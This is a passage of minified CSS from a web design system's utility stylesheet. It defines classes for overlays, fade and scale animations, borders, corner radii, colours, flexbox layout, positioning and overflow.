.Overlay-whenNarrow{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow{align-items:end;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow{align-items:start;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full-whenNarrow .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}}.anim-fade-in{animation-name:fade-in;animation-duration:1s;animation-timing-function:ease-in-out}.anim-fade-in.fast{animation-duration:300ms}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.anim-fade-out{animation-name:fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}.anim-fade-out.fast{animation-duration:.3s}@keyframes fade-out{0%{opacity:1}100%{opacity:0}}.anim-fade-up{opacity:0;animation-name:fade-up;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-out;animation-delay:1s}@keyframes fade-up{0%{opacity:.8;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}.anim-fade-down{animation-name:fade-down;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in}@keyframes fade-down{0%{opacity:1;transform:translateY(0)}100%{opacity:.5;transform:translateY(100%)}}.anim-grow-x{width:0%;animation-name:grow-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease;animation-delay:.5s}@keyframes grow-x{to{width:100%}}.anim-shrink-x{animation-name:shrink-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in-out;animation-delay:.5s}@keyframes shrink-x{to{width:0%}}.anim-scale-in{animation-name:scale-in;animation-duration:.15s;animation-timing-function:cubic-bezier(0.2, 0, 0.13, 1.5)}@keyframes scale-in{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.anim-pulse{animation-name:pulse;animation-duration:2s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes pulse{0%{opacity:.3}10%{opacity:1}100%{opacity:.3}}.anim-pulse-in{animation-name:pulse-in;animation-duration:.5s}@keyframes pulse-in{0%{transform:scale3d(1, 1, 1)}50%{transform:scale3d(1.1, 1.1, 1.1)}100%{transform:scale3d(1, 1, 1)}}.hover-grow,.anim-hover-grow{transition:transform .3s;-webkit-backface-visibility:hidden;backface-visibility:hidden}.hover-grow:hover,.anim-hover-grow:hover{transform:scale(1.025)}.anim-rotate{animation:rotate-keyframes 1s linear infinite}@keyframes rotate-keyframes{100%{transform:rotate(360deg)}}.border-x{border-right:1px solid var(--color-border-default) !important;border-left:1px solid var(--color-border-default) !important}.border-y{border-top:1px solid var(--color-border-default) !important;border-bottom:1px solid var(--color-border-default) !important}.border{border:1px solid var(--color-border-default) !important}.border-0{border:0 !important}.border-top{border-top:1px solid var(--color-border-default) !important}.border-right{border-right:1px solid var(--color-border-default) !important}.border-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-left{border-left:1px solid var(--color-border-default) !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.rounded{border-radius:6px !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:4px !important}.rounded-2{border-radius:6px !important}.rounded-3{border-radius:8px !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}@media(min-width: 544px){.border-sm{border:1px solid var(--color-border-default) !important}.border-sm-0{border:0 !important}.border-sm-top{border-top:1px solid var(--color-border-default) !important}.border-sm-right{border-right:1px solid var(--color-border-default) !important}.border-sm-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-sm-left{border-left:1px solid var(--color-border-default) !important}.border-sm-top-0{border-top:0 !important}.border-sm-right-0{border-right:0 !important}.border-sm-bottom-0{border-bottom:0 !important}.border-sm-left-0{border-left:0 !important}.rounded-sm{border-radius:6px !important}.rounded-sm-0{border-radius:0 !important}.rounded-sm-1{border-radius:4px !important}.rounded-sm-2{border-radius:6px !important}.rounded-sm-3{border-radius:8px !important}.rounded-sm-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-sm-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-sm-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-sm-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-sm-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-sm-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-sm-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-sm-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-sm-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-sm-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-sm-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-sm-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-sm-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-sm-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-sm-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-sm-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 768px){.border-md{border:1px solid var(--color-border-default) !important}.border-md-0{border:0 !important}.border-md-top{border-top:1px solid var(--color-border-default) !important}.border-md-right{border-right:1px solid var(--color-border-default) !important}.border-md-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-md-left{border-left:1px solid var(--color-border-default) !important}.border-md-top-0{border-top:0 !important}.border-md-right-0{border-right:0 !important}.border-md-bottom-0{border-bottom:0 !important}.border-md-left-0{border-left:0 !important}.rounded-md{border-radius:6px !important}.rounded-md-0{border-radius:0 !important}.rounded-md-1{border-radius:4px !important}.rounded-md-2{border-radius:6px !important}.rounded-md-3{border-radius:8px !important}.rounded-md-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-md-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-md-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-md-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-md-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-md-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-md-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-md-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-md-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-md-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-md-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-md-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-md-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-md-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-md-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-md-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1012px){.border-lg{border:1px solid var(--color-border-default) !important}.border-lg-0{border:0 !important}.border-lg-top{border-top:1px solid var(--color-border-default) !important}.border-lg-right{border-right:1px solid var(--color-border-default) !important}.border-lg-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-lg-left{border-left:1px solid var(--color-border-default) !important}.border-lg-top-0{border-top:0 !important}.border-lg-right-0{border-right:0 !important}.border-lg-bottom-0{border-bottom:0 !important}.border-lg-left-0{border-left:0 !important}.rounded-lg{border-radius:6px !important}.rounded-lg-0{border-radius:0 !important}.rounded-lg-1{border-radius:4px !important}.rounded-lg-2{border-radius:6px !important}.rounded-lg-3{border-radius:8px !important}.rounded-lg-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-lg-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-lg-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-lg-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-lg-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-lg-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-lg-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-lg-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-lg-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-lg-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-lg-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-lg-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-lg-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-lg-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-lg-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-lg-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1280px){.border-xl{border:1px solid var(--color-border-default) !important}.border-xl-0{border:0 !important}.border-xl-top{border-top:1px solid var(--color-border-default) !important}.border-xl-right{border-right:1px solid var(--color-border-default) !important}.border-xl-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-xl-left{border-left:1px solid var(--color-border-default) !important}.border-xl-top-0{border-top:0 !important}.border-xl-right-0{border-right:0 !important}.border-xl-bottom-0{border-bottom:0 !important}.border-xl-left-0{border-left:0 !important}.rounded-xl{border-radius:6px !important}.rounded-xl-0{border-radius:0 !important}.rounded-xl-1{border-radius:4px !important}.rounded-xl-2{border-radius:6px !important}.rounded-xl-3{border-radius:8px !important}.rounded-xl-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-xl-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-xl-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-xl-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-xl-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-xl-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-xl-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-xl-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-xl-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-xl-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-xl-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-xl-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-xl-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-xl-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-xl-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-xl-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}.circle{border-radius:50% !important}.border-dashed{border-style:dashed !important}.color-shadow-small{box-shadow:var(--color-shadow-small) !important}.color-shadow-medium{box-shadow:var(--color-shadow-medium) !important}.color-shadow-large{box-shadow:var(--color-shadow-large) !important}.color-shadow-extra-large{box-shadow:var(--color-shadow-extra-large) !important}.box-shadow-none{box-shadow:none !important}.color-fg-default{color:var(--color-fg-default) !important}.color-fg-muted{color:var(--color-fg-muted) !important}.color-fg-subtle{color:var(--color-fg-subtle) !important}.color-fg-accent{color:var(--color-accent-fg) !important}.color-fg-success{color:var(--color-success-fg) !important}.color-fg-attention{color:var(--color-attention-fg) !important}.color-fg-severe{color:var(--color-severe-fg) !important}.color-fg-danger{color:var(--color-danger-fg) !important}.color-fg-open{color:var(--color-open-fg) !important}.color-fg-closed{color:var(--color-closed-fg) !important}.color-fg-done{color:var(--color-done-fg) !important}.color-fg-sponsors{color:var(--color-sponsors-fg) !important}.color-fg-on-emphasis{color:var(--color-fg-on-emphasis) !important}.color-bg-default{background-color:var(--color-canvas-default) !important}.color-bg-overlay{background-color:var(--color-canvas-overlay) !important}.color-bg-inset{background-color:var(--color-canvas-inset) !important}.color-bg-subtle{background-color:var(--color-canvas-subtle) !important}.color-bg-emphasis{background-color:var(--color-neutral-emphasis-plus) !important}.color-bg-accent{background-color:var(--color-accent-subtle) !important}.color-bg-accent-emphasis{background-color:var(--color-accent-emphasis) !important}.color-bg-success{background-color:var(--color-success-subtle) !important}.color-bg-success-emphasis{background-color:var(--color-success-emphasis) !important}.color-bg-attention{background-color:var(--color-attention-subtle) !important}.color-bg-attention-emphasis{background-color:var(--color-attention-emphasis) !important}.color-bg-severe{background-color:var(--color-severe-subtle) !important}.color-bg-severe-emphasis{background-color:var(--color-severe-emphasis) !important}.color-bg-danger{background-color:var(--color-danger-subtle) !important}.color-bg-danger-emphasis{background-color:var(--color-danger-emphasis) !important}.color-bg-open{background-color:var(--color-open-subtle) !important}.color-bg-open-emphasis{background-color:var(--color-open-emphasis) !important}.color-bg-closed{background-color:var(--color-closed-subtle) !important}.color-bg-closed-emphasis{background-color:var(--color-closed-emphasis) !important}.color-bg-done{background-color:var(--color-done-subtle) !important}.color-bg-done-emphasis{background-color:var(--color-done-emphasis) !important}.color-bg-sponsors{background-color:var(--color-sponsors-subtle) !important}.color-bg-sponsors-emphasis{background-color:var(--color-sponsors-emphasis) !important}.color-bg-transparent{background-color:transparent !important}.color-border-default{border-color:var(--color-border-default) !important}.color-border-muted{border-color:var(--color-border-muted) !important}.color-border-subtle{border-color:var(--color-border-subtle) !important}.color-border-accent{border-color:var(--color-accent-muted) !important}.color-border-accent-emphasis{border-color:var(--color-accent-emphasis) !important}.color-border-success{border-color:var(--color-success-muted) !important}.color-border-success-emphasis{border-color:var(--color-success-emphasis) !important}.color-border-attention{border-color:var(--color-attention-muted) !important}.color-border-attention-emphasis{border-color:var(--color-attention-emphasis) !important}.color-border-severe{border-color:var(--color-severe-muted) !important}.color-border-severe-emphasis{border-color:var(--color-severe-emphasis) !important}.color-border-danger{border-color:var(--color-danger-muted) !important}.color-border-danger-emphasis{border-color:var(--color-danger-emphasis) !important}.color-border-open{border-color:var(--color-open-muted) !important}.color-border-open-emphasis{border-color:var(--color-open-emphasis) !important}.color-border-closed{border-color:var(--color-closed-muted) !important}.color-border-closed-emphasis{border-color:var(--color-closed-emphasis) !important}.color-border-done{border-color:var(--color-done-muted) !important}.color-border-done-emphasis{border-color:var(--color-done-emphasis) !important}.color-border-sponsors{border-color:var(--color-sponsors-muted) !important}.color-border-sponsors-emphasis{border-color:var(--color-sponsors-emphasis) !important}.color-fg-inherit{color:inherit !important}.details-overlay[open]>summary::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent}.details-overlay-dark[open]>summary::before{z-index:111;background:var(--color-primer-canvas-backdrop)}.details-reset>summary{list-style:none;transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-reset>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-reset>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-reset>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary::before{display:none}.details-reset>summary::-webkit-details-marker{display:none}.details-overlay>summary{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-overlay>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-overlay>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-overlay>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-overlay>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.flex-row{flex-direction:row !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column{flex-direction:column !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-justify-start{justify-content:flex-start !important}.flex-justify-end{justify-content:flex-end !important}.flex-justify-center{justify-content:center !important}.flex-justify-between{justify-content:space-between !important}.flex-justify-around{justify-content:space-around !important}.flex-items-start{align-items:flex-start !important}.flex-items-end{align-items:flex-end !important}.flex-items-center{align-items:center !important}.flex-items-baseline{align-items:baseline !important}.flex-items-stretch{align-items:stretch !important}.flex-content-start{align-content:flex-start !important}.flex-content-end{align-content:flex-end !important}.flex-content-center{align-content:center !important}.flex-content-between{align-content:space-between !important}.flex-content-around{align-content:space-around !important}.flex-content-stretch{align-content:stretch !important}.flex-1{flex:1 !important}.flex-auto{flex:auto !important}.flex-grow-0{flex-grow:0 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-self-auto{align-self:auto !important}.flex-self-start{align-self:flex-start !important}.flex-self-end{align-self:flex-end !important}.flex-self-center{align-self:center !important}.flex-self-baseline{align-self:baseline !important}.flex-self-stretch{align-self:stretch !important}.flex-order-1{order:1 !important}.flex-order-2{order:2 !important}.flex-order-none{order:inherit !important}@media(min-width: 544px){.flex-sm-row{flex-direction:row !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column{flex-direction:column !important}.flex-sm-column-reverse{flex-direction:column-reverse !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-sm-justify-start{justify-content:flex-start !important}.flex-sm-justify-end{justify-content:flex-end !important}.flex-sm-justify-center{justify-content:center !important}.flex-sm-justify-between{justify-content:space-between !important}.flex-sm-justify-around{justify-content:space-around !important}.flex-sm-items-start{align-items:flex-start !important}.flex-sm-items-end{align-items:flex-end !important}.flex-sm-items-center{align-items:center !important}.flex-sm-items-baseline{align-items:baseline !important}.flex-sm-items-stretch{align-items:stretch !important}.flex-sm-content-start{align-content:flex-start !important}.flex-sm-content-end{align-content:flex-end !important}.flex-sm-content-center{align-content:center !important}.flex-sm-content-between{align-content:space-between !important}.flex-sm-content-around{align-content:space-around !important}.flex-sm-content-stretch{align-content:stretch !important}.flex-sm-1{flex:1 !important}.flex-sm-auto{flex:auto !important}.flex-sm-grow-0{flex-grow:0 !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-self-auto{align-self:auto !important}.flex-sm-self-start{align-self:flex-start !important}.flex-sm-self-end{align-self:flex-end !important}.flex-sm-self-center{align-self:center !important}.flex-sm-self-baseline{align-self:baseline !important}.flex-sm-self-stretch{align-self:stretch !important}.flex-sm-order-1{order:1 !important}.flex-sm-order-2{order:2 !important}.flex-sm-order-none{order:inherit !important}}@media(min-width: 768px){.flex-md-row{flex-direction:row !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column{flex-direction:column !important}.flex-md-column-reverse{flex-direction:column-reverse !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-md-justify-start{justify-content:flex-start !important}.flex-md-justify-end{justify-content:flex-end !important}.flex-md-justify-center{justify-content:center !important}.flex-md-justify-between{justify-content:space-between !important}.flex-md-justify-around{justify-content:space-around !important}.flex-md-items-start{align-items:flex-start !important}.flex-md-items-end{align-items:flex-end !important}.flex-md-items-center{align-items:center !important}.flex-md-items-baseline{align-items:baseline !important}.flex-md-items-stretch{align-items:stretch !important}.flex-md-content-start{align-content:flex-start !important}.flex-md-content-end{align-content:flex-end !important}.flex-md-content-center{align-content:center !important}.flex-md-content-between{align-content:space-between !important}.flex-md-content-around{align-content:space-around !important}.flex-md-content-stretch{align-content:stretch !important}.flex-md-1{flex:1 !important}.flex-md-auto{flex:auto !important}.flex-md-grow-0{flex-grow:0 !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-self-auto{align-self:auto !important}.flex-md-self-start{align-self:flex-start !important}.flex-md-self-end{align-self:flex-end !important}.flex-md-self-center{align-self:center !important}.flex-md-self-baseline{align-self:baseline !important}.flex-md-self-stretch{align-self:stretch !important}.flex-md-order-1{order:1 !important}.flex-md-order-2{order:2 !important}.flex-md-order-none{order:inherit !important}}@media(min-width: 1012px){.flex-lg-row{flex-direction:row !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column{flex-direction:column !important}.flex-lg-column-reverse{flex-direction:column-reverse !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-lg-justify-start{justify-content:flex-start !important}.flex-lg-justify-end{justify-content:flex-end !important}.flex-lg-justify-center{justify-content:center !important}.flex-lg-justify-between{justify-content:space-between !important}.flex-lg-justify-around{justify-content:space-around !important}.flex-lg-items-start{align-items:flex-start !important}.flex-lg-items-end{align-items:flex-end !important}.flex-lg-items-center{align-items:center !important}.flex-lg-items-baseline{align-items:baseline !important}.flex-lg-items-stretch{align-items:stretch !important}.flex-lg-content-start{align-content:flex-start !important}.flex-lg-content-end{align-content:flex-end !important}.flex-lg-content-center{align-content:center !important}.flex-lg-content-between{align-content:space-between !important}.flex-lg-content-around{align-content:space-around !important}.flex-lg-content-stretch{align-content:stretch !important}.flex-lg-1{flex:1 !important}.flex-lg-auto{flex:auto !important}.flex-lg-grow-0{flex-grow:0 !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-self-auto{align-self:auto !important}.flex-lg-self-start{align-self:flex-start !important}.flex-lg-self-end{align-self:flex-end !important}.flex-lg-self-center{align-self:center !important}.flex-lg-self-baseline{align-self:baseline !important}.flex-lg-self-stretch{align-self:stretch !important}.flex-lg-order-1{order:1 !important}.flex-lg-order-2{order:2 !important}.flex-lg-order-none{order:inherit !important}}@media(min-width: 1280px){.flex-xl-row{flex-direction:row !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column{flex-direction:column !important}.flex-xl-column-reverse{flex-direction:column-reverse !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-xl-justify-start{justify-content:flex-start !important}.flex-xl-justify-end{justify-content:flex-end !important}.flex-xl-justify-center{justify-content:center !important}.flex-xl-justify-between{justify-content:space-between !important}.flex-xl-justify-around{justify-content:space-around !important}.flex-xl-items-start{align-items:flex-start !important}.flex-xl-items-end{align-items:flex-end !important}.flex-xl-items-center{align-items:center !important}.flex-xl-items-baseline{align-items:baseline !important}.flex-xl-items-stretch{align-items:stretch !important}.flex-xl-content-start{align-content:flex-start !important}.flex-xl-content-end{align-content:flex-end !important}.flex-xl-content-center{align-content:center !important}.flex-xl-content-between{align-content:space-between !important}.flex-xl-content-around{align-content:space-around !important}.flex-xl-content-stretch{align-content:stretch !important}.flex-xl-1{flex:1 !important}.flex-xl-auto{flex:auto !important}.flex-xl-grow-0{flex-grow:0 !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-self-auto{align-self:auto !important}.flex-xl-self-start{align-self:flex-start !important}.flex-xl-self-end{align-self:flex-end !important}.flex-xl-self-center{align-self:center !important}.flex-xl-self-baseline{align-self:baseline !important}.flex-xl-self-stretch{align-self:stretch !important}.flex-xl-order-1{order:1 !important}.flex-xl-order-2{order:2 !important}.flex-xl-order-none{order:inherit !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:sticky !important}@media(min-width: 544px){.position-sm-static{position:static !important}.position-sm-relative{position:relative !important}.position-sm-absolute{position:absolute !important}.position-sm-fixed{position:fixed !important}.position-sm-sticky{position:sticky !important}}@media(min-width: 768px){.position-md-static{position:static !important}.position-md-relative{position:relative !important}.position-md-absolute{position:absolute !important}.position-md-fixed{position:fixed !important}.position-md-sticky{position:sticky !important}}@media(min-width: 1012px){.position-lg-static{position:static !important}.position-lg-relative{position:relative !important}.position-lg-absolute{position:absolute !important}.position-lg-fixed{position:fixed !important}.position-lg-sticky{position:sticky !important}}@media(min-width: 1280px){.position-xl-static{position:static !important}.position-xl-relative{position:relative !important}.position-xl-absolute{position:absolute !important}.position-xl-fixed{position:fixed !important}.position-xl-sticky{position:sticky !important}}.top-0{top:0 !important}.right-0{right:0 !important}.bottom-0{bottom:0 !important}.left-0{left:0 !important}.top-auto{top:auto !important}.right-auto{right:auto !important}.bottom-auto{bottom:auto !important}.left-auto{left:auto !important}@media(min-width: 544px){.top-sm-0{top:0 !important}.right-sm-0{right:0 !important}.bottom-sm-0{bottom:0 !important}.left-sm-0{left:0 !important}.top-sm-auto{top:auto !important}.right-sm-auto{right:auto !important}.bottom-sm-auto{bottom:auto !important}.left-sm-auto{left:auto !important}}@media(min-width: 768px){.top-md-0{top:0 !important}.right-md-0{right:0 !important}.bottom-md-0{bottom:0 !important}.left-md-0{left:0 !important}.top-md-auto{top:auto !important}.right-md-auto{right:auto !important}.bottom-md-auto{bottom:auto !important}.left-md-auto{left:auto !important}}@media(min-width: 1012px){.top-lg-0{top:0 !important}.right-lg-0{right:0 !important}.bottom-lg-0{bottom:0 !important}.left-lg-0{left:0 !important}.top-lg-auto{top:auto !important}.right-lg-auto{right:auto !important}.bottom-lg-auto{bottom:auto !important}.left-lg-auto{left:auto !important}}@media(min-width: 1280px){.top-xl-0{top:0 !important}.right-xl-0{right:0 !important}.bottom-xl-0{bottom:0 !important}.left-xl-0{left:0 !important}.top-xl-auto{top:auto !important}.right-xl-auto{right:auto !important}.bottom-xl-auto{bottom:auto !important}.left-xl-auto{left:auto !important}}.v-align-middle{vertical-align:middle !important}.v-align-top{vertical-align:top !important}.v-align-bottom{vertical-align:bottom !important}.v-align-text-top{vertical-align:text-top !important}.v-align-text-bottom{vertical-align:text-bottom !important}.v-align-baseline{vertical-align:baseline !important}.overflow-visible{overflow:visible !important}.overflow-x-visible{overflow-x:visible !important}.overflow-y-visible{overflow-y:visible !important}.overflow-hidden{overflow:hidden !important}.overflow-x-hidden{overflow-x:hidden !important}.overflow-y-hidden{overflow-y:hidden !important}.overflow-auto{overflow:auto !important}.overflow-x-auto{overflow-x:auto !important}.overflow-y-auto{overflow-y:auto !important}.overflow-scroll{overflow:scroll !important}.overflow-x-scroll{overflow-x:scroll !important}.overflow-y-scroll{overflow-y:scroll !important}@media(min-width: 544px){.overflow-sm-visible{overflow:visible !important}.overflow-sm-x-visible{overflow-x:visible !important}.overflow-sm-y-visible{overflow-y:visible !important}.overflow-sm-hidden{overflow:hidden !important}.overflow-sm-x-hidden{overflow-x:hidden !important}.overflow-sm-y-hidden{overflow-y:hidden !important}.overflow-sm-auto{overflow:auto !important}.overflow-sm-x-auto{overflow-x:auto 